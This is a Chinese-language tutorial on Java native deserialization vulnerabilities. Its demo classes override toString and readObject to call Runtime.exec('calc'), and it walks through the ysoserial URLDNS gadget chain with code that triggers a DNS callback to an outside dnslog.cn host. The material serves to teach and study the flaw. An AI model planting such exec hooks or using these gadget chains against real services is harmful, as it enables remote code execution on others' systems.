035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第1张图片

#知识点:

1、JavaEE-反序列化-解释&使用&安全
2、JavaEE-安全-利用链&直接重写方法
3、JavaEE-安全-利用链&外部重写方法

演示案例:

➢Java-原生使用-序列化&反序列化
➢Java-安全问题-重写方法&触发方法
➢Java-安全问题-可控其他类重写方法

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第2张图片

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第3张图片

#Java序列化&反序列化-概念

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第4张图片

1、序列化与反序列化

序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象

Java 提供了一种对象序列化的机制。用一个字节序列可以表示一个对象,==该字节序列包含该对象的数据对象的类型对象中存储的属性等信息。==字节序列写出到文件之后,相当于文件中持久保存了一个对象的信息。

反之,该字节序列还可以从文件中读取回来,重构对象,对它进行反序列化

。对象的数据,对象的类型,对象中存储的数据等信息,都可以用来在内存中创建对象。看图理解序列化:

2、为什么有序列化技术

序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第5张图片

3、几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson

4、为什么会出现反序列化安全问题

内置原生写法分析
• 重写readObject方法
• 输出调用toString方法

5、反序列化利用链

(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行

#Java-原生使用-序列化&反序列化

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第6张图片

[//进行序列化对象并写入文件ser.txt](https://xn--ser-tu9d84i5il4ak2d9y9a9vf0hw87e4j7he7ljvm.txt/)
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
//读入Filename进行反序列化
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
  • 1.序列化实现,创建用户类,并实现Serializable接口

    import java.io.Serializable;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    
    **// 用户信息类,实现了 Serializable 接口
    public class UserDemo implements Serializable {**
    
        // 公共成员变量
        public String name = "xiaodi";
        public String gender = "man";
        public Integer age = 30;
    
        // 构造方法
        public UserDemo(String name, String gender, Integer age) {
            this.name = name;
            this.gender = gender;
            this.age = age;
            System.out.println(name);
            System.out.println(gender);
        }
    
        // toString 方法,用于打印对象信息
        public String toString() {
            try {
                // 调用 Runtime.getRuntime().exec("calc") 执行系统命令 "calc",潜在的安全风险
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
    
            // 返回对象信息的字符串表示
            return "User{" +
                    "name='" + name + '\'' +
                    ", gender='" + gender + '\'' +
                    ", age=" + age +
                    '}';
        }
    
  • 2.创建对应的序列化类,并创建对应的序列化方法

    // 指定包名
    package com.example.seriatestdemo;
    
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    
    // 序列化演示类
    public class SerializableDemo {
    
        public static void main(String[] args) throws IOException {
            // 创建一个用户对象,引用UserDemo
            UserDemo u = new UserDemo("xdsec", "gay1", 30);
            // 调用方法进行序列化
            SerializableTest(u);
            // ser.txt 就是对象u序列化的字节流数据
        }
    
        // 序列化方法
        public static void SerializableTest(Object obj) throws IOException {
            // 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txt
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            oos.writeObject(obj);
            // 关闭流
            oos.close();
        }
    }
    
  • 3.创建对应反序列化类,并创建对应反序列化方法

    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.FileInputStream;
    
    // 反序列化演示类
    public class UnserializableDemo {
    
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            // 调用下面的方法,传输 ser.txt,解析还原反序列化
            Object obj = UnserializableTest("ser.txt");
    
            // 对 obj 对象进行输出,默认调用原始对象的 toString 方法
            System.out.println(obj);
        }
    
        // 反序列化方法
        public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
            // 读取 Filename 文件进行反序列化还原
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object o = ois.readObject();
            // 返回反序列化后的对象
            return o;
        }
    }
    

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第7张图片

#Java-安全问题-重写方法&触发方法

  • toString //输出调用toString方法
  • 如果在原始对象 的toString方法中夹带外部执行命令,可能在执行反序列化时
  • 触发方式:如果对obj对象进行输出 默认调用原始对象的toString方法 而造成执行外部命令
public String toString() {
    try {
        **// 潜在的安全问题:执行外部命令
        Runtime.getRuntime().exec("calc");**
    } catch (IOException e) {
        // 潜在的安全问题:将异常信息抛出,可能泄漏敏感信息
        throw new RuntimeException(e);
    }
    return "User{" +
            "name='" + name + '\'' +
            ", gender='" + gender + '\'' +
            ", age=" + age +
            '}';
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面的方法 传输ser.txt 解析还原反序列化
        Object obj =UnserializableTest("ser.txt");
        **//对obj对象进行输出 默认调用原始对象的toString方法
        System.out.println(obj);**
    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第8张图片

  • readObject //序列化后被重写readObject调用
  • 触发方式:在原始对象中重写readObject 方法,在执行反序列化时候,会被默认优先调用

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第9张图片

// 私有的 readObject 方法,用于在反序列化时执行一些自定义的逻辑
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 指向正确的 readObject
        ois.defaultReadObject();
        // 调用 Runtime.getRuntime().exec("calc") 执行系统命令 "calc",潜在的安全风险
        Runtime.getRuntime().exec("calc");
    }

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第10张图片

#Java-安全问题-可控其他类重写方法

参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1.利用 HashMap存在的反序列化漏洞的readObject方法,调用了HashMap.putVal() 方法,最终调用了URL.hashCode()形成RCE漏洞分析

  • 正常代码中 创建对象HashMap

  • 用到原生态readObject方法去反序列化数据

    • readObject 在ObjectInputSteam 本来在这里
    • HashMap也有readObject方法
  • 反序列化readObject方法调用 HashMap里面的readObject
    执行链:
    序列化对象hash 来源于自带类HashMap

    • Gadget Chain:

      • HashMap.readObject()
      • HashMap.putVal()
      • HashMap.hash()
      • URL.hashCode()
    • hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

      035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载_第11张图片

    2.RCE漏洞简介

    RCE (Remote Code Execution) 漏洞是一种计算机安全漏洞,它允许攻击者远程执行恶意代码或命令,从而获取对目标系统的控制权。攻击者可以通过利用软件或系统中存在的安全漏洞,将恶意代码注入到目标系统中,然后执行它们。

    RCE 漏洞可能会导致严重的安全问题,攻击者可以利用这些漏洞进行各种恶意活动,包括但不限于以下几点:

    1. 控制系统:攻击者可以通过远程执行代码来获得对目标系统的完全控制。这使得攻击者可以访问系统上的敏感数据、修改配置、操纵系统行为等。
    2. 系统破坏:攻击者可能会利用 RCE 漏洞来破坏系统的正常运行。他们可以执行破坏性的命令,例如删除文件、关闭关键服务或引发系统崩溃。
    3. 数据泄露:攻击者可以利用 RCE 漏洞来访问系统上的敏感数据,例如个人身份信息、登录凭据、银行信息等。这些数据可能被窃取、滥用或出售。
    import [java.io](http://java.io/).*;
    import java.net.URL;
    import java.util.HashMap;
    public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
    // 正常代码中创建HashMap对象
    HashMap<URL, Integer> hash = new HashMap<>();
    URL u = new URL("[http://dmo1e2.dnslog.cn](http://dmo1e2.dnslog.cn/)");
    hash.put(u, 1);
    // 通过序列化对象hash,触发潜在的反序列化漏洞
    SerializableTest(hash);
    // 尝试反序列化
    UnserializableTest("dns.txt");
    }
    public static void SerializableTest(Object obj) throws IOException {
    // 将对象obj序列化后输出到文件dns.txt
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
    oos.writeObject(obj);
    oos.close(); // 关闭流
    }
    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
    // 读取Filename文件进行反序列化还原
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object o = ois.readObject();
    ois.close(); // 关闭流
    return o;
    }
    }
    

3.分析总结

  1. 潜在的反序列化漏洞: 通过**SerializableTest方法将HashMap**对象序列化并输出到文件 “dns.txt”,然后通过 UnserializableTest 方法尝试反序列化。这里存在潜在的反序列化漏洞,因为如果恶意用户能够控制序列化的输入,可能导致远程命令执行(RCE)漏洞。
  2. Gadget Chain 分析: 通过HashMapreadObject方法,调用了HashMap.putVal() 方法,最终调用了URL.hashCode()如果 hashCode() 方法的实现涉及到远程资源的访问(例如 DNS 查询),那么在反序列化时就可能触发远程请求
  3. 潜在的安全问题: 如果 URL.hashCode() 实现中有不受信任的代码,例如执行系统命令或访问远程资源,那么通过构造特定的 URL 对象,攻击者就能够触发恶意操作。

你可能感兴趣的:(安全,java-ee,python)